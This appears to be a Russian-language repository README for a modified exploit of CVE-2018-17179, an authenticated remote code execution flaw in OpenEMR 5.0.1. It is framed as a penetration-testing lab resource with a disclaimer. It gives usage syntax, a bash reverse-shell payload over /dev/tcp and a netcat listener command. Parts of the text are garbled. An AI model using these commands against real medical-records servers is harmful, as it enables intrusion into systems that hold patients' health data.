
Эксплойт для аутентифицированного удаленного выполнения кода для OpenEMR 5.0.1 (CVE-2018-17179) с настраиваемыми полезными нагрузками команд и поддержкой reverse shell для образовательного тестирования на проникновение.
⚠️ Отказ от ответственности
Этот репозиторий предназначен строго для образовательных и исследовательских целей.
Предоставленная информация и код могут использоваться только в контролируемых средах, например, на частных лабораторных машинах.
Несанкционированное использование этого кода против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.
Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.
CVE-2018-17179 затрагивает OpenEMR — широко используемое программное обеспечение с открытым исходным кодом для ведения электронных медицинских записей и управления практикой.
Ошибка в механизме аутентификации конечной точки rest_routes.php позволяет аутентифицированному пользователю выполнять произвольные команды на сервере.
Это может привести к удаленному выполнению кода (RCE) в контексте пользователя веб-сервера.
interface/main/main_screen.php через rest_routes.phpЭтот репозиторий содержит модифицированную версию публичного эксплойта с Exploit-DB:
В этой модифицированной версии:
Целевая тестовая панель входа OpenEMR локально:

Использование: python2 exploit.py <target_url> -u -p -c
Пример: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Убедитесь, что у вас установлен Python 2.
- Пользователь должен иметь доступ к уязвимой конечной точке `rest_routes.php`.
Запуск эксплойта
Запустил модифицированный скрипт эксплойта с полезной нагрузкой в виде bash-обратной оболочки:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

Слушатель Netcat на порту 4444 успешно получил обратную оболочку:
nc -nvlp 4444

Ознакомьтесь с подробным руководством и теорией в моей статье на Medium:
👉 Читать блог на Medium